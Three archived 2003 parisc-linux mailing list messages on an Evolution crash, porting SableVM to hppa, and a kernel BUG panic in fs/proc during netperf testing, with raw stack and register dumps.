Original-Received: from [62.235.120.116] (helo=ppp-62-235-120-116.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AG59K-0006Dj-TW; Sun, 02 Nov 2003 00:27:19 +0100
In-Reply-To: <3F8A272E00004AD1@ocpmta3.freegates.net>
X-Mailer: Ximian Evolution 1.4.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19973

Hi Carlos,

I don't understand anymore anything.

This afternoon i recompile k 2.4.23-pre9-pa13 + Randolph patch to test
it. (Ok)

So I launch evolution which crash at the same place as usual.

After the diner I restart this c110 with this new kernel but this time,
no more "do_page_fault() pid=805 command='evolution' type=7". I restart
it severall time no means to reproduce anymore :(

Joel

On Tue, 2003-10-21 at 06:24, Joel Soete wrote:
> Hi Carlos,
> 
> Sorry, for bad wrap (in fact cut and past behaviour was different is the
> src is xterm or a minicom, and I don't pay attention: my bad).
> 
> Sorry also if the 'original message' below was so badly inserted, but my
> isp support couldn't help me to fix this pb :(
> 
> Finaly, I would also like to trace this pb with gdb but this c110 is a bit
> slow and requested many time to compile another kernel to allow me to compare
> 2.4 and 2.6 behaviour :(. I would so try next week-end.
> 
> Thanks for your understand,
>     Joel
> 
> >-- Original Message --
> >From: Carlos O'Donell <carlos@baldric.uwo.ca>
> >To: Joel Soete <soete.joel@tiscali.be>
> >Cc: parisc-linux@parisc-linux.org
> >Date: Sun, 19 Oct 2003 19:10:15 -0400
> >Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was:
> >do_page_fault?]
> >
> >
> >On Sun, Oct 19, 2003 at 07:49:08PM +0000, Joel Soete wrote:
> > Hi pa,
> > 
> > Please apologies, I forget to mentioned an important matter:
> > with 2.6.0-test-pa1 it is not anymore a do_page_fault() but:
> > evolution (pid 2454): Protection id trap (code 
> >7) 
> 
> Do not wrap lines like this. 
>  
> > YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI 
> >                            PSW: 00000000000001000000000000001111 Not 
> > tainted                                                       r00-03 
> 
> You should really run evol
> >tion through gdb. Remember to use "handle all
> nostop" and "handle all pass".
> 
> c.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-
> >inux
> 
> 
> 
> -------------------------------------------------------------------------
> Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.
> 
> http://reg.tiscali.be/default.asp?lg=fr
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sablevm on hppa
Date: Sun, 2 Nov 2003 00:19:55 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20031102081955.GV28967__23697.6308784962$1416622922$gmane$org@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622922 952 80.91.229.3 (22 Nov 2014 02:22:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:02 +0000 (UTC)
Cc: debian-java@lists.debian.org
To: debian-hppa@lists.debian.org,
	parisc-linux@lists.parisc-linux.org,
	sablevm-developer@lists.sourceforge.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  2 01:15:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4674F483E
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Nov 2003 01:15:20 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8E712CD33B; Sun,  2 Nov 2003 00:19:55 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19974

Well, it started innocently enough on irc...

<tausq> an aside: what's needed to get it to work on hppa? just ffi?
<gadek> tausq: I belive so (unless we hit some bug ;-)
* tausq might give it a try sometime
<gadek> tausq: you're welcome. I am here most of the time so I should be able
          to help/participate in realtime.
<gadek> tausq: if you have libffi ready - we should have it working in less
          than an hour.
<tausq> hmmmm :-)
* gadek/#debian-devel would say 20 minutes depending on how fast one can type
          ;-)
<tausq> he got it down to only 5 fails in the ffi testsuite
<tausq> ok, let's try... ;-)
<gadek> tausq: seriously? now? [would be cool!]

and 25 minutes later, we have it working! (well, HelloWorld works, and
gadek's btf tests work when sablevm is compiled with O0)

Many thanks to gadek for his help. I'm sure it won't be nearly as easy
otherwise :) Unfortunately there is still some work to do before this
can really make it officially into upstream/debian.... foremost is
getting ffi submitted upstream and getting proper atomic ops support.
Hopefully those issues will be resolved soon. 

stay tuned,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/





From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG 2.6.0-t9 netperf/procfs panic
Date: Sun, 2 Nov 2003 02:22:54 -0700
Lines: 288
Approved: news@gmane.org
Message-ID: <20031102092254.GA3107@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622922 957 80.91.229.3 (22 Nov 2014 02:22:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:02 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  2 02:22:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26324483E
	for <parisc-linux@parisc-linux.org>; Sun,  2 Nov 2003 02:22:57 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 25303298038
	for <parisc-linux@parisc-linux.org>; Sun,  2 Nov 2003 02:22:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 03150-08 for <parisc-linux@parisc-linux.org>;
	Sun, 2 Nov 2003 02:22:54 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A9857298036; Sun,  2 Nov 2003 02:22:54 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19975

I was trying to test tg3 w/ and w/o TSO on bcm5701 NICs...wasn't
getting good results with anything (260-380Mb/s on TCP stream).
I switched netperf "client" from a500 (2.4 kernel, gsyprf11) to
ia64 machine ("iota") also running 2.6.0-test9. The netperf "server"
(a500 running 2.6.0-t9, "ion") data page faulted. It seemed to be
working until I tried to run top...then started spewing:
	kernel BUG at fs/proc/base.c:746!

before it panic'd.

It's past 1AM...I can post more details tomorrow or later this
week. I have matching kernel/source on ion:/usr/src/linux-2.6.
Here's the console output.

hth,
grant

...
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<0000000010166d7c>] 
 [<00000000101c5e10>]  [<00000000101c4f38>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<0000000010189ce8>]  [<00000000101a3890>]  [<0000000010188338>]  [<000000001010ce4c>] 
 [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<000000001019c25c>] 
 [<00000000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<00000000101a3890>]  [<000000001010ce4c>]  [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<0000000010166d7c>] 
 [<00000000101c5e10>]  [<00000000101c4f38>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<0000000010189ce8>]  [<00000000101a3890>]  [<0000000010188338>]  [<000000001010ce4c>] 
 [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<000000001019c25c>] 
 [<00000000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<00000000101a3890>]  [<000000001010ce4c>]  [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<0000000010166d7c>] 
 [<00000000101c5e10>]  [<00000000101c4f38>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<0000000010189ce8>]  [<00000000101a3890>]  [<0000000010188338>]  [<000000001010ce4c>] 
 [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<000000001019c25c>] 
 [<00000000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<00000000101a3890>]  [<000000001010ce4c>]  [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<0000000010166d7c>] 
 [<00000000101c5e10>]  [<00000000101c4f38>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<0000000010189ce8>]  [<00000000101a3890>]  [<0000000010188338>]  [<000000001010ce4c>] 
 [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<000000001019c25c>] 
 [<00000000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<00000000101a3890>]  [<000000001010ce4c>]  [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<0000000010166d7c>] 
 [<00000000101c5e10>]  [<00000000101c4f38>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<0000000010189ce8>]  [<00000000101a3890>]  [<0000000010188338>]  [<000000001010ce4c>] 
 [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<000000001013a69c>]  [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>] 
 [<000000001019c25c>]  [<00000000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>] 
 [<00000000101a3218>]  [<00000000101a3890>]  [<000000001010ce4c>]  [<000000001010c074>] 

kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<0000000010166d7c>] 
 [<00000000101c5e10>]  [<00000000101c4f38>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<0000000010189ce8>]  [<00000000101a3890>]  [<0000000010188338>]  [<000000001010ce4c>] 
 [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<000000001019c25c>] 
 [<00000000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<00000000101a3890>]  [<000000001010ce4c>]  [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<0000000010166d7c>] 
 [<00000000101c5e10>]  [<00000000101c4f38>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<0000000010189ce8>]  [<00000000101a3890>]  [<0000000010188338>]  [<000000001010ce4c>] 
 [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<000000001019c25c>] 
 [<00000000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>]  [<00000000101a32100000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>] 
 [<00000000101a3218>]  [<00000000101a3890>]  [<000000001010ce4c>]  [<000000001010c094>] 

kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<000000001013b740>] 
 [<00000000101c5e10>]  [<000000001014bef8>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<0000000010112200>]  [<00000000101a3890>]  [<0000000010112320>]  [<000000001010ce4c>] 
 [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<000000001019c25c>] 
 [<00000000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<00000000101a3890>]  [<000000001010ce4c>]  [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>]  [<0000000010166d7c>] 
 [<00000000101c5e10>]  [<00000000101c4f38>]  [<00000000101c32c0>]  [<00000000101a3218>] 
 [<0000000010189ce8>]  [<00000000101a3890>]  [<0000000010188338>]  [<000000001010ce4c>] 
 [<000000001010c074>] 
kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010166ea4>]  [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>] 
 [<0000000010176e38>]  [<00000000101c5e10>]  [<00000000101c69fc>]  [<00000000101c32c0>] 
 [<00000000101a3218>]  [<00000000101a3890>]  [<000000001010ce4c>]  [<000000001010c094>] 

kernel BUG at fs/proc/base.c:746!
Kernel addresses on the stack:
 [<0000000010247024>]  [<0000000010110264>]  [<00000000101c4618>]  [<00000000101c5c60>] 
 [<0000000010166d7c>]  [<00000000101c5e10>]  [<00000000101c4f38>]  [<00000000101c32c0>] 
 [<00000000101a3218>]  [<0000000010189ce8>]  [<00000000101a3890>]  [<0000000010188338>] 
 [<000000001010ce4c>]  [<000000001010c094>] 

Stack Dump:
 000000004c259b38:  000000004c259b38 0000000000000000 0000000000000000 0000000000000000 
 000000004c259b18:  0000000000000002 00000000104bcc40 0000000000000001 000000004c259970 
 000000004c259af8:  0000000000000010 0000000000000001 00000000104bcc40 0000000000000001 
 000000004c259ad8:  000000004c259970 0000000000000010 3fe0000000000000 4271d59eaaaaaaaa 
 000000004c259ab8:  0000000000000000 000000004c2595c0 00000004104c8218 00000000104bcc40 
 000000004c259a98:  000000000000000f 0000000000000000 000000001050de80 5555555555555555 
 000000004c259a78:  5555555555555555 0000000010110f64 5555555555555555 41c75e857c000000 
 000000004c259a58:  5555555555555555 5555555555555555 5555555555555555 5555555555555555 
 000000004c259a38:  0000000000000000 5555555555555555 0000000000000000 00000000104bcc40 
 000000004c259a18:  0000000000000004 00000000416febc0 00000000104bcc40 000000003f409800 
 000000004c2599f8:  0000000000000000 0000000010498ea0 0000000000000002 000000003f409800 
 000000004c2599d8:  0000000000000000 ffffffff80000000 0000000010478b80 00000000104d4000 
 000000004c2599b8:  0000000010551f00 0000000010551f10 0000000000000015 00000000104bcc40 
 000000004c259998:  00000000104bcc40 0000000000016e3a 00000000104bcc40 0000000000000000 
 000000004c259978:  0000000000000002 000000003fd6b8a0 0000000000000001 000000003f409b90 
 000000004c259958:  0000000000000000 0000000000000000 00000000104bcc40 0000000000000020 
 000000004c259938:  00000000104bcc40 000000001024835c 00000000000005a8 000000004c258210 
 000000004c259918:  0000000000000002 00000000104bcc40 0000000000000001 000000004c259770 
 000000004c2598f8:  0000000000000010 000000001010c094 00000000104bcc40 0000000000000001 
 000000004c2598d8:  000000004c259770 00000000452f4a08 0000012a104bcc40 0000000000010000 
 000000004c2598b8:  0000000000010000 000000001014bd9c 0000000000000102 000000003f409b40 
 000000004c259898:  0000000000000001 00000000104bcc40 0000000000000000 000000004c2596f0 
 000000004c259878:  0000000000000010 0000000000000001 00000000104bcc40 00000004104c8218 
 000000004c259858:  0000000000000000 000000000e751280 0000000000000019 000000003d91f180 
 000000004c259838:  0000000000000000 000000001014c1a4 000000003f409b40 0000000000000000 
 000000004c259818:  000000001016c338 000000001016c334 0000000000000000 0000000000000000 
 000000004c2597f8:  0000000000000000 0000000000000000 0000000000000000 0000000000000000 
 000000004c2597d8:  000000000000c880 0000000000000000 000000000000c880 000000000000c880 
 000000004c2597b8:  0000000000000001 000000001014158c 00000000f000022c 00000000f0002a7c 
 000000004c259798:  0000000000000802 412e848000000000 3fe0000000000000 4271d59eaaaaaaaa 
 000000004c259778:  0000000000000000 0000000000000000 000000004fac6000 0000000000000002 
 000000004c259758:  0000000010416040 0000000000000002 000000001050de80 5555555555555555 
 000000004c259738:  5555555555555555 00000000101a1e90 5555555555555555 41c75f4850000000 
 000000004c259718:  5555555555555555 5555555555555555 5555555555555555 5555555555555555 
 000000004c2596f8:  0000000000000000 5555555555555555 0000000000000000 41d3ab511e000000 
 000000004c2596d8:  0000000000000000 0000000000000000 0000000000000000 0800000000000000 
 000000004c2596b8:  0000000000008000 000000004c2595c0 0000000000002f84 00000000ffffd07c 
 000000004c259698:  00000000104bcc40 00000000000000cc 0000000000002f84 0000000000000000 
 000000004c259678:  0000000017c20000 0000000000000000 0000000000000005 ffffffffffffd07c 
 000000004c259658:  00000004104c8218 000000004820c5c0 0000000000000000 000000004c258c00 
 000000004c259638:  7fffffffffffffff 0000000000000000 000000004c258210 0000000000100000 
 000000004c259618:  0000000000200000 000000004fffe010 0000000010551f30 0000000000000018 
 000000004c2595f8:  00000000104bcc40 0000000000000015 0000000010551f10 0000000010551f00 
 000000004c2595d8:  00000000104d4000 000000001016c320 00000000000000aa 000000000806000e 
 000000004c2595b8:  00000000105315c8 000000001016c320 00000000104bcc40 00000000460c8bc0 
 000000004c259598:  00000000460c8bc0 00000000104bcc40 00000000104bcc40 0000000000010000 
 000000004c259578:  0000000000010000 00000000416febc0 0000000043874200 0000000000094000 
 000000004c259558:  00000000460c8bc0 0000000000094000 0000000010478b70 00000000380d34c0 
 000000004c259538:  000000001047dda8 000000000009fce8 000000004c2592b0 00000000104bcc40 
 000000004c259518:  0000000000000018 000000004fffe000 000000004fffe010 00000000104bcc40 
 000000004c2594f8:  00000000104bcc40 0000000010551e70 0000000000200200 0000000000100100 
 000000004c2594d8:  0000000010533bd0 00000000104bcc40 0000000000000000 0000000000000040 
 000000004c2594b8:  000000003f409800 000000001016cbb8 000000000800000f 000000004c259248 
 000000004c259498:  0000000000094000 0000000000000001 00000000380d3ac0 00000000104bcc40 
 000000004c259478:  0000000000002ba8 000000004c258210 0000000010551e70 0000000010551f00 
 000000004c259458:  0000000010551fb0 0000000000000001 0000000000000001 000000004c2592b0 
 000000004c259438:  0000000000000010 000000001016ce54 00000000104bcc40 0000000000000001 
 000000004c259418:  000000004c2592b0 0000000000000010 000000001050de80 5555555555555555 
 000000004c2593f8:  00000000104bcc40 00000000460c8bc0 00000000104bcc40 00000000460c8bc0 
 000000004c2593d8:  0000000000000000 00000000104bcc40 5555555555555555 5555555555555555 
 000000004c2593b8:  0000000000000000 000000001014c1a4 0000000000000000 41d3ab511e000000 
 000000004c259398:  0000000010421170 00000000104bcc40 000000000000005d 000000004c259258 
 000000004c259378:  000000004c259258 0000000000200200 0000000000100100 00000000380d34c0 
 000000004c259358:  00000000104bcc40 0000000000002ba8 00000000104bcc40 0000000000000000 
 000000004c259338:  000000000800000f 000000001014c0cc 0000000000000002 0000000000000000 
 000000004c259318:  0000000000000000 0000000000000000 0000000010478b80 000000004c258f40 
 000000004c2592f8:  7fffffffffffffff 0000000010247024 0000000000000000 000000004c258c00 
 000000004c2592d8:  0000000000000000 0000000000000001 0000000000000000 00000000380d34c0 
 000000004c2592b8:  0000000045aa3820 00000000105315a8 0000000000000001 00000000104bcc40 
 000000004c259298:  000000000000000a 000000000800000e 0000000000000002 00000000104bcc40 
 000000004c259278:  00000000105315c8 000000004c259258 000000004c259258 000000004c259258 
 000000004c259258:  000000004c259258 000000004c258c00 0000012c00000000 4271d59eaaaaaaaa 
 000000004c259238:  0000000000000000 0000000010146570 000000004fac6000 0000000000000002 
 000000004c259218:  0000000010416040 0000000000000002 000000004c258c00 0000000000000000 
 000000004c2591f8:  0000000000000002 00000000380d34c0 0000000000002ba8 0000000000000000 
 000000004c2591d8:  7fffffffffffffff 0000000000000000 0000000000000000 000000003f409800 
 000000004c2591b8:  000000003f409b40 0000000010111550 0000000000000000 0000000000000042 
 000000004c259198:  0000000043317bc0 000000003f409800 0000000000000000 0800000000000000 
 000000004c259178:  000000000000fa00 0000000000000000 0000000000000040 00000000104bcc40 
 000000004c259158:  0000000000000000 000000004c258c00 00000000104bcc40 0000000003963c84 
 000000004c259138:  000000000800000f 0000000010112200 0000000000000001 000000003f409b90 
 000000004c259118:  0000000000000000 0000000000000000 0000000000000173 0000000000000000 
 000000004c2590f8:  000000003f409800 000000004faceb80 00000000460c8bc0 00000000104bcc40 
 000000004c2590d8:  0000000043317bc0 000000003f409800 00000000104a4700 0000000000000002 
 000000004c2590b8:  0000000000000000 0000000000000000 ffffffff80000000 0000000000000000 
 000000004c259098:  7fffffffffffffff 00000000452f4a08 0000000010478b70 000000ff0806ff0f 
 000000004c259078:  00000000105315c8 0000000000000000 0000000000000000 8000000000000000 
 000000004c259058:  00000000104bcc40 000000004c258c00 0000012b00000000 00000000380d34c0 
 000000004c259038:  000000000000807f 0000000010112320 000000003f409800 00000000104bcc40 
 000000004c259018:  00000000104bcc40 000000003f409800 000000000000003e 000000004c258c00 
 000000004c258ff8:  0000000000006808 00000000102ff628 0000000011a90c00 00000000104bcc40 
 000000004c258fd8:  00000000000a0694 00000000000a0690 0000000000000000 0000000000010000 
 000000004c258fb8:  00000000380d34c0 0000000010540e20 00000000460c8bc0 00000000104bcc40 
 000000004c258f98:  00000000104bcc40 0000000043b25540 0000000000000000 000000000000c880 
 000000004c258f78:  00000000000005a8 000000004c258210 00000000000005a8 0000000045aa3dfc 
 000000004c258f58:  00000000104bcc40 0000000000000020 3fe0000000000000 4271d59eaaaaaaaa 
 000000004c258f38:  0000000000000000 000000001010c074 000000004fac6000 0000000000000002 
 000000004c258f18:  0000000010416040 0000000000000002 000000001050de80 5555555555555555 
 000000004c258ef8:  5555555555555555 00000000101a1e90 5555555555555555 41c75f4850000000 
 000000004c258ed8:  0000000000000010 00000000104bcc40 0000000000000004 000000004c258d30 
 000000004c258eb8:  0000000000000010 0000000000000001 00000000104bcc40 0000000000000004 
 000000004c258e98:  000000004c258d30 000000000f415222 0000000000000014 0800000000000000 
 000000004c258e78:  000000000000807f 000000001030e700 000000004c258df0 0000000000000000 
 000000004c258e58:  0000000010245054 000000001024505c 0000000000000000 0000000000000000 
 000000004c258e38:  0000000000000000 0000000000000000 0000000000000000 0000000000000000 
 000000004c258e18:  000000000000c880 0000000000000000 000000000000c880 000000000000c880 
 000000004c258df8:  0000000000000001 000000001014158c 00000000f000022c 00000000f0002a7c 
 000000004c258dd8:  0000000000000802 412e848000000000 3fe0000000000000 4271d59eaaaaaaaa 
 000000004c258db8:  0000000000000000 0000000000000000 000000004fac6000 0000000000000002 
 000000004c258d98:  0000000010416040 0000000000000002 000000001050de80 5555555555555555 
 000000004c258d78:  5555555555555555 00000000101a1e90 5555555555555555 41c75f4850000000 
 000000004c258d58:  5555555555555555 5555555555555555 5555555555555555 5555555555555555 
 000000004c258d38:  0000000000000000 5555555555555555 0000000000000000 41d3ab511e000000 
 000000004c258d18:  0000000000000000 0000000000000000 0000000000000000 0800000000000000 
 000000004c258cf8:  0000000000008000 000000004c258c00 000000004c258bf0 0000000080100b68 
 000000004c258cd8:  00000000104bcc40 0000000040483fed 0000000045aa3932 00000000000004ca 
 000000004c258cb8:  00000000000005a8 0000000000000001 000000001041f880 0000000000000000 
 000000004c258c98:  00000000000005a8 000000004820c5c0 0000000000000000 00000000452f4a08 
 000000004c258c78:  7fffffffffffffff 0000000000000000 000000004c258210 0000000000002ba8 
 000000004c258c58:  00000000104bcc40 00000000380d34c0 00000000104bcc40 0000000000000020 
 000000004c258c38:  00000000104bcc40 0000000045aa3dfc 00000000000005a8 000000004c258210 
 000000004c258c18:  00000000000005a8 00000000102fb8b8 0000000000000000 000000ff080eff0f 
 000000004c258bf8:  0000000000000007 000000001030e700 0000000000000005 00000000104bcc40 
 000000004c258bd8:  0000000000000009 000000000800000f 0000000000000020 00000000104bcc40 
 000000004c258bb8:  000000001054f380 000000003213a000 00000000104bcc40 000000000800000f 
 000000004c258b98:  00000000104bcc40 00000000104bcc40 0000012c1050de80 5555555555555555 
 000000004c258b78:  5555555555555555 000000001016c790 5555555555555555 00000000460c8bc0 
 000000004c258b58:  000000003d97dc6c 00000000104bcc40 000000000005cb88 000000004820c580 

Kernel addresses on the stack:
 [<0000000010110ba8>]  [<0000000010110f64>]  [<000000001010c094>]  [<0000000010247024>] 
 [<00000000102ff628>]  [<00000000101a1e90>]  [<000000001030e700>]  [<000000001014158c>] 
 [<00000000101a1e90>]  [<000000001030e700>]  [<000000001016c790>]  [<00000000102fc1fc>] 
 [<00000000103328f0>]  [<00000000102f9660>]  [<0000000010333260>]  [<0000000010338764>] 
 [<000000001033ea78>]  [<00000000102f8908>]  [<0000000010328c38>]  [<00000000103526f0>] 
 [<00000000102f4680>]  [<0000000010146570>]  [<00000000102f6378>]  [<000000001013bf8c>] 
 [<00000000102f6438>]  [<000000001010ce4c>]  [<000000001010c074>] 

Kernel Fault: Code=15 regs=000000004c2595c0 (Addr=00000004104c8218)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001100000000000001110 Not tainted
r00-03  0000000000000000 00000000000000aa 000000001016c320 00000000104d4000
r04-07  0000000010551f00 0000000010551f10 0000000000000015 00000000104bcc40
r08-11  0000000000000018 0000000010551f30 000000004fffe010 0000000000200000
r12-15  0000000000100000 000000004c258210 0000000000000000 7fffffffffffffff
r16-19  000000004c258c00 0000000000000000 000000004820c5c0 00000004104c8218
r20-23  ffffffffffffd07c 0000000000000005 0000000000000000 0000000017c20000
